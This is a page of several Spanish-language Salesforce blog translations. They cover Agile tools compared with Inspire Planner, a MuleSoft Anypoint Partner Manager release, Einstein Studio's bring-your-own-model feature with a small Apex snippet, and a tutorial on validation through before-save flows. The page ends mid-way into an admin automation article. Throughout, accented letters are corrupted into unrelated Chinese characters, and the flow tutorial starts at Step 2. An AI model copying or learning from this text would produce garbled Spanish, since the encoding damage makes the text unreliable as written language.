  • Soporte 谩gil completo : Inspire Planner es compatible con las metodolog铆as Scrum y Kanban desde el primer momento para que pueda elegir el mejor enfoque para las necesidades de su proyecto. Puede gestionar f谩cilmente la acumulaci贸n de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gr谩ficos de evoluci贸n.
  • Integraci贸n perfecta con Salesforce : dado que Inspire Planner vive dentro de su organizaci贸n de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce como Oportunidades, Casos y Cuentas, incluidos los registros de sus objetos personalizados. Esto reduce la duplicaci贸n de datos y conecta sus datos de Salesforce con sus flujos de trabajo 谩giles.
  • Colaboraci贸n : Aprovecha Chatter de Salesforce para la comunicaci贸n, fomentando la colaboraci贸n dentro del equipo. Tambi茅n puede compartir el estado del proyecto con las partes interesadas directamente en Salesforce.
  • Interfaz intuitiva y familiar : incorpore r谩pidamente nuevos equipos e impulse la adopci贸n a trav茅s de una experiencia de usuario perfecta y una interfaz de usuario familiar. Utilice funciones est谩ndar como Tareas de Salesforce, Chatter, Informes y Paneles, y m谩s.

Elegir la herramienta adecuada para sus necesidades y el tama帽o de su equipo

Elegir la herramienta adecuada depende del tama帽o de su equipo, la complejidad del proyecto y la metodolog铆a Agile que siga. Aqu铆 hay algunas pautas:

  • Tama帽o del equipo y complejidad del proyecto : para equipos peque帽os o proyectos menos complejos, la simplicidad de Trello puede ser ventajosa. Una herramienta m谩s robusta como Jira o Inspire Planner podr铆a ser m谩s adecuada para equipos m谩s grandes o proyectos complejos que requieren flujos de trabajo personalizados, informes detallados y m谩s.
  • Integraci贸n de Salesforce : si su organizaci贸n utiliza mucho Salesforce, una aplicaci贸n nativa de Salesforce como Inspire Planner podr铆a ser la mejor opci贸n para una integraci贸n perfecta. Y si es nuevo en Salesforce, puede mejorar sus habilidades con los mejores recursos de capacitaci贸n de Salesforce para comenzar.
  • Metodolog铆a 谩gil : si su equipo sigue estrictamente Scrum, tanto Inspire Planner como Jira podr铆an ser preferibles. Para Kanban, las tres herramientas podr铆an satisfacer sus necesidades. Para una combinaci贸n de metodolog铆as Agile y Waterfall, Inspire Planner ser铆a la mejor opci贸n.
  • Presupuesto : El costo podr铆a ser otro factor decisivo. Trello suele ser m谩s rentable para equipos peque帽os, mientras que Jira e Inspire Planner ofrecen funciones m谩s avanzadas a un costo mayor.

Conclusi贸n

La incorporaci贸n de Agile en Salesforce DevOps realmente puede amplificar la adaptabilidad, la colaboraci贸n en equipo, la satisfacci贸n del cliente, la eficiencia y la gesti贸n de riesgos. El 茅nfasis en el desarrollo iterativo y la garant铆a de calidad garantiza est谩ndares de primer nivel dentro del desarrollo y las operaciones de Salesforce.

Sin embargo, es importante recordar que el coraz贸n de Agile radica en cultivar una mentalidad comprometida con el aprendizaje continuo y la adaptabilidad.

Aqu铆 hay algunas ideas procesables:

  • Comprom茅tase con el aprendizaje continuo : anime a su equipo a aprender de cada iteraci贸n y use esos conocimientos para impulsar mejoras en los siguientes sprints.
  • Acepta el cambio : el cambio es la 煤nica constante en Agile. Fomentar un entorno en el que el cambio no solo se acepte, sino que se acoja como una oportunidad para mejorar.
  • Fomentar la colaboraci贸n : promover una cultura de comunicaci贸n abierta y colaboraci贸n. Esto puede conducir a soluciones m谩s innovadoras y a un equipo m谩s fuerte.
  • Involucrar a las partes interesadas : involucrar regularmente a las partes interesadas en las revisiones de sprint para garantizar que el producto satisfaga las necesidades y expectativas de los usuarios.
  • Aproveche las herramientas de manera efectiva : use las herramientas de Salesforce y Agile de manera efectiva para realizar un seguimiento del progreso, administrar los flujos de trabajo y facilitar la comunicaci贸n.

Al adoptar estas estrategias, los equipos pueden desbloquear todo el potencial de las metodolog铆as 谩giles, lo que lleva a un mayor rendimiento y niveles elevados de satisfacci贸n del cliente.

Continue reading

Las nuevas funciones en Anypoint Partner Manager mejoran la agilidad y la eficiencia de la cadena de suministro 鈽侊笍

Las nuevas funciones en Anypoint Partner Manager mejoran la agilidad y la eficiencia de la cadena de suministro 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Nuevas funciones en Anypoint Partner Manager mejoran la agilidad y la eficiencia de la cadena de suministro | Blog de desarrolladores de Salesforce

Construir unacadena de suministro resiliente se ha convertido en una prioridad principal para las organizaciones debido a las interrupciones que hemos visto en los 煤ltimos a帽os, como el COVID-19 y el conflicto entre Ucrania y Rusia .

Las plataformas de integraci贸n B2B juegan un papel vital para ayudar a las organizaciones a lograr la diversificaci贸n y expansi贸n de la cadena de suministro. La incorporaci贸n m谩s r谩pida de nuevos socios comerciales y las ricas capacidades de gesti贸n operativa son dos aspectos importantes que los clientes necesitan para construir una cadena de suministro resistente.

Anypoint Partner Manager de MuleSoft es una plataforma de integraci贸n B2B de pr贸xima generaci贸n y c贸digo bajo. Permite a las organizaciones integrar su red de aplicaciones empresariales componibles con sus socios comerciales externos a trav茅s de m茅todos EDI tradicionales, y tambi茅n a trav茅s de API modernas y canales que no son EDI. Anypoint Partner Manager y la plataforma m谩s amplia ofrecen funciones completas que ayudan a los clientes a lograr una verdadera trazabilidad de extremo a extremo.

Novedades de Anypoint Partner Manager

Nos complace anunciar que la versi贸n de julio de 2023 de Anypoint Partner Manager presenta las siguientes innovaciones clave que ayudan a las organizaciones a lograr una incorporaci贸n de socios m谩s r谩pida y una gesti贸n operativa superior de las transacciones comerciales.

  • Reproducci贸n de transacciones
  • Soporte para CSV y archivos delimitados
  • Mejoras en la interoperabilidad de X12 y EDIFACT

Reproducci贸n de transacciones

Dado que las organizaciones comercian con m煤ltiples socios para intercambiar transacciones comerciales sensibles al tiempo, es importante que los usuarios operativos cuenten con herramientas de autoservicio para reprocesar documentos comerciales cuando sea necesario. El procesamiento de transacciones B2B es casi siempre un proceso de varios pasos que involucra la interacci贸n con socios comerciales por un lado y con sistemas back-end dispares por el otro, con las plataformas de integraci贸n B2B actuando como una puerta de enlace cr铆tica.

Los usuarios ahora pueden reproducir cargas 煤tiles de transmisi贸n con un simple clic en un bot贸n en la interfaz de usuario, o automatizar la activaci贸n de acciones de reproducci贸n a trav茅s de llamadas a la API de la plataforma. A medida que se reproducen las transmisiones, los usuarios pueden ver el historial de reproducci贸n en el registro de detalles de transmisi贸n original y tambi茅n ver las instancias de transmisi贸n reproducidas a trav茅s de experiencias de b煤squeda y navegaci贸n sencillas. Los administradores de la plataforma tambi茅n pueden ver el historial de todas las acciones de los usuarios, incluidas las repeticiones de los registros de auditor铆a en Gesti贸n de acceso, esencialmente una experiencia completa e integral en la gesti贸n de las necesidades de reproducci贸n de transacciones de una empresa.

CSV/archivos delimitados

Expandir el ecosistema de socios comerciales a trav茅s de m煤ltiples geograf铆as requiere que las organizaciones est茅n abiertas a intercambiar transacciones comerciales en formatos que sus socios puedan admitir. Si bien la mayor铆a de las organizaciones utilizan ampliamente los dos est谩ndares EDI globales, X12 y EDIFACT, hay empresas que tienen diferentes preferencias y capacidades sobre qu茅 formato pueden admitir. Anypoint Partner Manager ha estado admitiendo formatos XML y JSON adem谩s de X12 y EDIFACT durante bastante tiempo.

Con la introducci贸n de la compatibilidad con archivos CSV/delimitados , los clientes ahora tienen m谩s opciones para incorporar a sus socios comerciales m谩s r谩pido, con una experiencia de c贸digo bajo simplificada y basada en la configuraci贸n, a trav茅s de una amplia variedad de formatos y protocolos de datos.

Mejoras en la interoperabilidad de X12 y EDIFACT

Adem谩s de la reproducci贸n de transacciones y la compatibilidad con archivos CSV/delimitados, esta versi贸n tambi茅n incluye las siguientes mejoras que mejoran la interoperabilidad general de Anypoint Partner Manager, lo que permite a los clientes integrarse con su ecosistema de socios comerciales externos con confianza.

El primero es una reconciliaci贸n de acuse de recibo mejorada para manejar la aceptaci贸n parcial y el rechazo con escenarios de error.

El segundo es la capacidad de configurar c贸digos hexadecimales como caracteres delimitadores X12 y EDIFACT para generar cargas 煤tiles EDI, que coincidan con las especificaciones de los socios comerciales.

Conclusi贸n

Con la introducci贸n de las nuevas funciones en la versi贸n de julio de 2023, Anypoint Partner Manager ahora ofrece m谩s opciones para que las empresas integren su red de aplicaciones empresariales componibles con su ecosistema de socios comerciales externos.

Mire este video para obtener m谩s informaci贸n sobre las nuevas funciones de Anypoint Partner Manager y m谩s.

Recursos

Sobre el Autor

Vijayan Ganapathy es director de gesti贸n de productos en MuleSoft, donde dirige su cartera de productos de integraci贸n B2B. Durante su carrera, ha ayudado a organizaciones a dise帽ar y construir soluciones de integraci贸n B2B/EDI a gran escala utilizando varias plataformas de integraci贸n. Con a帽os de experiencia en el campo de la log铆stica y la cadena de suministro, Vijayan lidera la estrategia y ejecuci贸n de Anypoint Partner Manager y otros productos en el espacio de integraci贸n B2B. En su tiempo libre, a Vijayan le gusta pasar tiempo con sus dos hijos y explorar el aire libre. Siga a Vijayan en LinkedIn.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Traiga sus propios modelos de IA a la nube de datos 鈽侊笍

Traiga sus propios modelos de IA a la nube de datos 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Lleve sus propios modelos de IA a la nube de datos | Blog de desarrolladores de Salesforce

Einstein Studio es una plataforma f谩cil de usar que le permite crear y poner en funcionamiento la IA en Salesforce. La plataforma aprovecha el poder de otras plataformas de IA, como Amazon SageMaker y Google Cloud Vertex AI, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos en Salesforce. En este blog, presentamos Einstein Studio y exploramos c贸mo la capacidad de traer su propio modelo (BYOM) generalmente disponible puede generar resultados para su negocio.

Presentamos Traiga su propio modelo (BYOM)

Einstein Studio le permite conectarse f谩cilmente a modelos predictivos o generativos y usarlos en el flujo de trabajo en Salesforce. Por ejemplo, los modelos predictivos se pueden usar para puntuar clientes potenciales, recomendar productos o detectar abandonos. Con modelos generativos, puede crear contenido como res煤menes de casos, respuestas de correo electr贸nico y descripciones de productos. Para obtener m谩s informaci贸n sobre la IA generativa y los modelos de lenguaje extenso (LLM), consulte el blog de Salesforce 360 .

Conectar un modelo con Einstein Studio es simple. Puede integrar f谩cilmente su modelo con Data Cloud para acceder a predicciones e informaci贸n en tiempo real y usar la informaci贸n de varias maneras. Por ejemplo, para enriquecer los perfiles de los clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales. Tambi茅n puede usar un modelo generativo para crear campa帽as de correo electr贸nico personalizadas basadas en las preferencias de un cliente y su comportamiento de compra.

驴Por qu茅 traer su propio modelo?

Estos son algunos de los beneficios de usar un modelo de Amazon SageMaker con datos de Data Cloud en Einstein Studio.

  • Acceda a datos altamente seleccionados, armonizados y casi en tiempo real en Customer 360 en SageMaker.
  • Elimina la necesidad de trabajos ETL tediosos, costosos y propensos a errores. Este enfoque de federaci贸n de copia cero para los datos reduce la sobrecarga para administrar las copias de datos, los costos de almacenamiento y mejora la eficiencia.
  • Crea modelos r谩pidamente en SageMaker y conecta los modelos en Data Cloud para consumir predicciones para la optimizaci贸n de procesos comerciales.
  • Admite la ingesta de datos en tiempo real, en streaming y por lotes para impulsar los resultados de IA relevantes.
  • Permite el uso sin inconvenientes de modelos y predicciones de SageMaker en Salesforce mediante Flow, un paquete de automatizaci贸n de flujos de trabajo. Flow permite la toma de decisiones impulsada por IA que puede evolucionar en funci贸n de actualizaciones de datos en tiempo real.

Casos de uso

Estos son algunos casos de uso en los que Einstein Studio puede mejorar la experiencia del cliente y agregar un toque personal.

Caso de uso minorista

Un minorista puede crear un modelo de IA personalizado para predecir la probabilidad de que un cliente compre atuendos espec铆ficos en funci贸n de los datos de compromiso, como su historial de compras o actividad en l铆nea. Luego pueden implementar el modelo y utilizar Einstein Studio para ofrecer recomendaciones de productos hiperpersonalizados a los clientes a trav茅s del canal m谩s apropiado, incluido el correo electr贸nico, una aplicaci贸n m贸vil o las redes sociales.

Caso de uso de viaje

Una agencia de viajes puede conectar los datos de CRM, como el historial de reservas del cliente y las preferencias de viaje, con datos que no son de CRM, como rese帽as de destinos y previsiones meteorol贸gicas. Luego pueden implementar modelos de IA predictivos y generativos para predecir qu茅 destinos atraen a clientes espec铆ficos y generar recomendaciones de correo electr贸nico personalizadas para ellos.

Caso de uso automotriz

Una marca automotriz puede usar inteligencia artificial predictiva para determinar cu谩ndo es probable que un autom贸vil necesite mantenimiento y detectar reclamos de seguros fraudulentos. Luego, la IA generativa se puede utilizar para personalizar las campa帽as de marketing de los clientes en funci贸n de las necesidades y preferencias individuales.

Flujo de trabajo de la aplicaci贸n para usar Einstein Studio con AWS SageMaker

En esta secci贸n, analizamos brevemente el flujo de trabajo de la aplicaci贸n con Einstein Studio.

En este flujo de trabajo, el conector de Python otorga a SageMaker acceso seguro a los objetos de Salesforce Data Cloud. Despu茅s de la autenticaci贸n, los especialistas en datos pueden explorar y preparar los datos, y realizar tareas de ingenier铆a de funciones para el desarrollo y la inferencia de modelos de IA mediante la interfaz visual interactiva de SageMaker Data Wrangler .

El flujo de trabajo anterior es espec铆fico de Data Wrangler. Pero, 驴qu茅 sucede si es un cient铆fico de datos y planea usar los cuadernos de SageMaker Studio para desarrollar y preparar sus modelos personalizados? Una vez que se aprueba un modelo en el registro de SageMaker, simplificamos el proceso con una plantilla de proyecto de SageMaker para Salesforce para automatizar la implementaci贸n en un extremo de invocaci贸n.

Este extremo de invocaci贸n se configura como destino en Einstein Studio y se integra con las aplicaciones de Salesforce Customer 360. Para obtener m谩s informaci贸n sobre este flujo de trabajo, consulte el blog de AWS .

C贸mo consumir predicciones de su modelo en Salesforce

Hay dos formas de consumir predicciones. Usando acciones invocables en Flow y Apex, o con an谩lisis ad hoc.

Use Flow Builder y Apex para obtener predicciones

Aqu铆 hay un flujo que usa una acci贸n invocable para crear recomendaciones de productos para un cliente.

En este ejemplo, un administrador usa Flow Builder para separar los registros de individuos unificados para verificar si se realiz贸 una compra reciente. Si se realiz贸 la compra, la acci贸n invocable obtiene la inferencia del modelo de Einstein Studio y recomienda el siguiente mejor producto a un cliente.

Esta acci贸n invocable tambi茅n se puede llamar en Apex. Vea el ejemplo a continuaci贸n.

<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('variable_1', '10');
action.setInvocationParameter('variable2', '20');
action.setInvocationParameter('variable3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} “>

Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .

Utilice an谩lisis ad hoc para obtener predicciones

Query API es otra forma r谩pida de obtener puntajes de predicci贸n para los datos que residen en Data Cloud. Con Query API, puede usar el punto final de inferencia y funciones de predicci贸n de llamadas para probar el punto final.

Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .

Conclusi贸n

Einstein Studio es una plataforma de IA f谩cil de usar que permite a los equipos de ciencia e ingenier铆a de datos crear, entrenar e implementar modelos de IA utilizando plataformas externas y datos en Data Cloud. Las plataformas externas incluyen Amazon SageMaker, Google Cloud Vertex AI y otros servicios de IA predictivos o generativos. Una vez que est茅 listo, puede utilizar los modelos de IA en tiempo real para impulsar cualquier aplicaci贸n de ventas, servicios, marketing, comercio y otras en Salesforce.

Recursos adicionales

Sobre el Autor

Daryl Martis es el Director de Producto de Salesforce para Einstein. Tiene m谩s de 10 a帽os de experiencia en la planificaci贸n, creaci贸n, lanzamiento y gesti贸n de soluciones de clase mundial para clientes empresariales, incluidas soluciones de inteligencia artificial y aprendizaje autom谩tico y en la nube. Anteriormente trabaj贸 en la industria de servicios financieros en la ciudad de Nueva York. S铆guelo en LinkedIn o Twitter .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Validaciones personalizadas mediante flujos activados por registros

Validaciones personalizadas mediante flujos activados por registros

脷ltima actualizaci贸n el 3 de agosto de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo se escribe una regla de validaci贸n utilizando un flujo desencadenado por registros antes de guardar sin crear metadatos adicionales?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Comprender la regla de validaci贸n
  • Flujo antes de guardar activado por registro de usuario para crear una regla de validaci贸n
  • Mostrar el mensaje de error en la parte superior de la p谩gina
  • Y mucho m谩s

馃憠 Anteriormente, escrib铆 varias publicaciones sobre la validaci贸n y Salesforce Flow. 驴Por qu茅 no echarles un vistazo mientras est谩s en ello?

  1. Adici贸n de validaci贸n a los componentes de la pantalla de flujo
  2. 驴Regla de validaci贸n usando un flujo antes de guardar? 隆S铆!
  3. C贸mo corregir el error FIELD_CUSTOM_VALIDATION_EXCEPTION)

A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha encomendado un requisito espec铆fico. Debe restringir que los usuarios creen una nueva oportunidad dentro de la cuenta si existe una oportunidad abierta. El siguiente texto debe utilizarse para el mensaje de error:

Utilice la oportunidad abierta existente dentro de esta cuenta. Si necesita m谩s ayuda o tiene preguntas sobre la gesti贸n de oportunidades, p贸ngase en contacto con el soporte de TI.

驴Qu茅 es la regla de validaci贸n?

Una regla de validaci贸n permite que un administrador del sistema defina una l贸gica personalizada y mensajes de error para garantizar la integridad de los datos. La regla puede contener una f贸rmula o una expresi贸n que eval煤e los datos en uno o m谩s campos y devuelva un valor verdadero o falso . Por ejemplo, la regla incluye un mensaje de error que se muestra cuando devuelve un valor verdadero que indica que se est谩n ingresando datos incorrectos. Recuerde, una regla de validaci贸n solo se activa cuando se crea o edita un registro .

En este art铆culo, habl茅 sobre muchos hechos ocultos que no son muy conocidos sobre la regla de validaci贸n . Por ejemplo, mostr茅 c贸mo usar una regla de validaci贸n para administrar requisitos usando tipos de metadatos personalizados.

驴Qu茅 es Antes de Guardar Flujo?

El flujo antes de guardar es un disparador que se realiza antes de una operaci贸n , como una inserci贸n, actualizaci贸n, eliminaci贸n, etc. Puede usar dicho flujo para verificar o cambiar valores antes de que los datos se actualicen o inserten en la base de datos. Guardar antes es mucho m谩s r谩pido porque cada registro no se guarda en la base de datos nuevamente. Evitar ese procedimiento de guardado adicional significa omitir otra ronda de reglas de asignaci贸n, reglas de respuesta autom谩tica, reglas de flujo de trabajo y otras personalizaciones que tardan en ejecutarse. Use un flujo antes de guardar en los siguientes casos de uso:

  1. Actualizar campos en registros nuevos o modificados: significa que desea actualizar los campos en el registro que inici贸 el Flujo
  2. Activar una regla de validaci贸n (no necesaria despu茅s del lanzamiento de winter'24)

Lea este art铆culo para obtener m谩s informaci贸n sobre cu谩ndo usar el flujo anterior frente al flujo posterior al guardado.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Paso 2: uso del elemento de decisi贸n para verificar si la oportunidad se cre贸 o actualiz贸

Ahora usaremos el elemento Decisi贸n para verificar si el registro de oportunidad fue creado o actualizado.

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Decisi贸n .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completar谩 autom谩ticamente.
  3. En Detalles del resultado , ingrese la etiqueta que el nombre de la API se completar谩 autom谩ticamente.
  4. Requisitos de condici贸n para ejecutar el resultado : se cumplen todas las condiciones (Y)
    1. Fila 1:
      1. Recurso : {!$Record.Id}
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Verdadero}
  5. Cu谩ndo ejecutar el resultado : si se cumplen los requisitos de la condici贸n
  6. Haz clic en la X en la parte superior para guardar tus cambios.

Paso 3: agregar un elemento Obtener registro para encontrar oportunidades abiertas relacionadas

El siguiente paso es usar el elemento Obtener registros para encontrar oportunidades abiertas relacionadas en la cuenta.

  1. En Flow Designer, debajo del nodo Creado , haga clic en el icono + y seleccione el elemento Obtener registros .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completar谩 autom谩ticamente.
  3. Seleccione el objeto Oportunidad de la lista desplegable.
  4. Seleccione Se cumplen todas las condiciones (Y) .
  5. Establecer condiciones de filtro
    1. Fila 1:
      1. Campo : ID de cuenta
      2. Operador : Igual
      3. Valor : {!$Record.AccountId}
    2. Haga clic en Agregar condici贸n
      1. Fila 1:
        1. Campo : Est谩Cerrado
        2. Operador : Igual
        3. Valor : {!$ConstanteGlobal.Falso}
  6. Cu谩ntos registros almacenar:
    1. seleccione Todos los registros
  7. C贸mo almacenar datos de registro:
    1. Elija la opci贸n para Almacenar autom谩ticamente todos los campos .
  8. Haz clic en la X en la parte superior para guardar tus cambios.

Paso 4: uso del elemento de decisi贸n para verificar si se encontr贸 o no una oportunidad abierta  

Ahora, usaremos el elemento Decisi贸n para comprobar si el elemento Obtener registros anterior devuelve un registro de oportunidades abiertas.

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Decisi贸n .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completar谩 autom谩ticamente.
  3. En Detalles del resultado , ingrese la etiqueta que el nombre de la API se completar谩 autom谩ticamente.
  4. Requisitos de condici贸n para ejecutar el resultado : se cumplen todas las condiciones (Y)
    1. Fila 1:
      1. Recurso: {!Get_Related_Opportunity}
      2. Operador: es nulo
      3. Valor: {!$ConstanteGlobal.Falso}
  5. Cu谩ndo ejecutar Resultado : Si se cumplen los requisitos de la condici贸n .
  6. Haga clic en Listo .

Paso 5: agregar un elemento de error personalizado para mostrar mensajes de error

  1. En el nodo S铆 , seleccione el elemento Error personalizado .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completar谩 autom谩ticamente.
  3. Establecer detalles del mensaje de error 1
    1. D贸nde mostrar el mensaje de error : en una ventana en una p谩gina de registro
    2. Mensaje de error:
      1. Utilice la oportunidad abierta existente dentro de esta cuenta. Si necesita m谩s ayuda o tiene preguntas sobre la gesti贸n de oportunidades, p贸ngase en contacto con el soporte de TI.
  4. Haz clic en la X en la parte superior para guardar tus cambios.

Al final, Benjamin's Flow se ver谩 como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versi贸n de API para ejecutar el flujo : 59
  5. Etiqueta de entrevista : regla de validaci贸n personalizada mediante flujo {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

隆Casi llegamos! Una vez que todo se vea bien, haga clic en el bot贸n Activar .

馃憠 Mira el video para obtener instrucciones paso a paso.

[contenido incrustado]
Cosas para recordar
  1. El l铆mite para el campo del mensaje de error es de 255 caracteres.
  2. Solo puede agregar un mensaje de error para una p谩gina.
  3. Solo puede agregar un mensaje de error por campo.
  4. no es posible utilizar el enlace con su mensaje de error.
    1. par谩metro de escape Indica si cualquier marcado HTML en el mensaje de error personalizado se debe escapar ( verdadero ) o no ( falso ). Este par谩metro se ignora tanto en Lightning Experience como en la aplicaci贸n m贸vil Salesforce, y el HTML siempre se escapa. El par谩metro de escape solo se aplica en Salesforce Classic. Lea este art铆culo para obtener m谩s informaci贸n.

Prueba de concepto

A partir de ahora, si un usuario intenta crear una nueva oportunidad en una cuenta que ya tiene una oportunidad abierta, se activar谩 el flujo activado por registro antes de guardar que hemos creado y mostrar谩 un mensaje de error.

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Continue reading

Desatando los superpoderes de administraci贸n de Salesforce: 隆Impulse la colaboraci贸n en equipo, sobrecargue la eficiencia, gesti贸n de datos maestros!

Desatando los superpoderes de administraci贸n de Salesforce: 隆Impulse la colaboraci贸n en equipo, sobrecargue la eficiencia, gesti贸n de datos maestros!

脷ltima actualizaci贸n el 31 de julio de 2023 por Rakesh Gupta

Durante la 煤ltima d茅cada, el papel de un administrador de Salesforce ha evolucionado dr谩sticamente, manteniendo el ritmo del panorama din谩mico de las ventas y la gesti贸n de las relaciones con los clientes. Lo que alguna vez fue principalmente una posici贸n de entrada de datos se ha convertido en un rol multifac茅tico que abarca la planificaci贸n estrat茅gica, el an谩lisis y la optimizaci贸n de procesos. A medida que las empresas reconozcan la importancia de Salesforce para impulsar el crecimiento y mejorar las experiencias de los clientes, los administradores proporcionar谩n un puente fundamental entre la tecnolog铆a y el 茅xito comercial.

Este art铆culo explorar谩 c贸mo los administradores pueden aprovechar la automatizaci贸n de procesos junto con el ecosistema de Salesforce para fomentar la colaboraci贸n en equipo, mejorar la eficiencia organizacional y mejorar la gesti贸n de datos.

Uso de la automatizaci贸n de correo electr贸nico de Salesforce para la programaci贸n

La automatizaci贸n del correo electr贸nico se utiliza para optimizar varios aspectos de la comunicaci贸n por correo electr贸nico con clientes potenciales y clientes dentro de la plataforma de Salesforce para garantizar una programaci贸n de citas r谩pida y eficiente. Permite a las empresas administrar de manera eficiente sus campa帽as de marketing y ventas por correo electr贸nico, la participaci贸n del cliente y las reservas.

En los 煤ltimos a帽os, la automatizaci贸n revolucion贸 los procesos de ventas y soporte al agilizar la reserva de citas, reducir la carga de trabajo manual y brindar a los clientes opciones convenientes de autoservicio. Actualmente, los administradores de Salesforce pueden aprovechar herramientas como SUMO Scheduler junto con flujos nativos y alertas por correo electr贸nico para enviar autom谩ticamente invitaciones a citas. Al crear disparadores que monitorean campos de datos espec铆ficos asociados con registros de contactos y lanzar flujos personalizados, los administradores pueden asegurarse de que los clientes potenciales siempre puedan programar citas, independientemente de la hora del d铆a o la ubicaci贸n.

Actualizaciones autom谩ticas de temas: haga que sus citas se destaquen

Las reuniones de cara al cliente son vitales para los equipos de ventas y soporte, y las citas perdidas o canceladas pueden afectar negativamente los objetivos estrat茅gicos y el resultado final. Los administradores de Salesforce pueden aprovechar las actualizaciones autom谩ticas de temas dentro de la programaci贸n de citas para reducir las cancelaciones de manera efectiva y aumentar la participaci贸n en las citas. Al implementar esta funcionalidad, los administradores pueden mejorar la comunicaci贸n, brindar claridad e infundir confianza en el proceso de citas para los clientes y la organizaci贸n.

Se puede activar una actualizaci贸n autom谩tica del tema para incluir detalles esenciales como la fecha, la hora, la ubicaci贸n y el prop贸sito de la cita al programarla. Este mensaje de confirmaci贸n sirve como recordatorio para el cliente y reduce las posibilidades de cancelaciones involuntarias o de no presentarse.

Las actualizaciones autom谩ticas de temas tambi茅n se pueden personalizar para atender a clientes individuales. Los administradores pueden incluir detalles personalizados, como el nombre del cliente o referencias de citas espec铆ficas, para captar su atenci贸n y crear una sensaci贸n de personalizaci贸n. Esto ayuda a fomentar una conexi贸n con el cliente y refuerza su compromiso con la cita.

Finalmente, en caso de cambios o actualizaciones en la cita, los administradores pueden usar actualizaciones autom谩ticas de temas para comunicar la informaci贸n revisada. Esto asegura que los clientes est茅n informados sobre cualquier modificaci贸n en tiempo real, minimizando la confusi贸n o la necesidad de cancelar debido a detalles desactualizados o inexactos.

Al permitir la flexibilidad en la programaci贸n y el mantenimiento de registros precisos dentro de Salesforce con la ayuda de l铆neas de asunto automatizadas, los administradores pueden optimizar de manera efectiva su proceso de ventas, mejorar la experiencia del usuario y fortalecer las relaciones con los clientes.

Uso de campos de correo electr贸nico flexibles para una mayor precisi贸n

La flexibilidad es clave para satisfacer las necesidades 煤nicas de los clientes, y los administradores de Salesforce pueden aprovechar el poder de los campos de correo electr贸nico para notificaciones personalizadas, sin importar cu谩n complejas sean. Esta personalizaci贸n permite una experiencia m谩s personalizada que cumple con requisitos espec铆ficos, como el cumplimiento normativo o las pol铆ticas internas.

En el contexto de Salesforce, los campos de correo electr贸nico se utilizan para recopilar y almacenar las direcciones de correo electr贸nico de los clientes. Estos campos aseguran que los datos ingresados sigan el formato adecuado, evitando entradas incorrectas o no v谩lidas. Las direcciones de correo electr贸nico recopiladas a trav茅s de estos campos se pueden usar para enviar recordatorios, actualizaciones, mensajes de seguimiento y otras notificaciones relacionadas con citas. Cada campo de correo electr贸nico act煤a como una medida confiable de capturar y utilizar informaci贸n de contacto para mejorar el compromiso y mantener canales de comunicaci贸n efectivos.

Los campos de correo electr贸nico de Salesforce pueden mejorar la precisi贸n al garantizar que la informaci贸n de contacto almacenada en CRM est茅 actualizada y sea confiable. Al utilizar campos de correo electr贸nico dedicados dentro de Salesforce, los representantes de ventas pueden capturar y almacenar direcciones de correo electr贸nico espec铆ficas de personas o entidades con precisi贸n. Esto ayuda a eliminar el riesgo de usar direcciones de correo electr贸nico desactualizadas o incorrectas asociadas con otros campos, como informaci贸n de contacto personal o comercial, lo que da como resultado comunicaciones por correo electr贸nico m谩s confiables, tasas de rebote reducidas y precisi贸n de datos mejorada.

Automatice la creaci贸n de clientes potenciales en Salesforce en el momento de la reserva

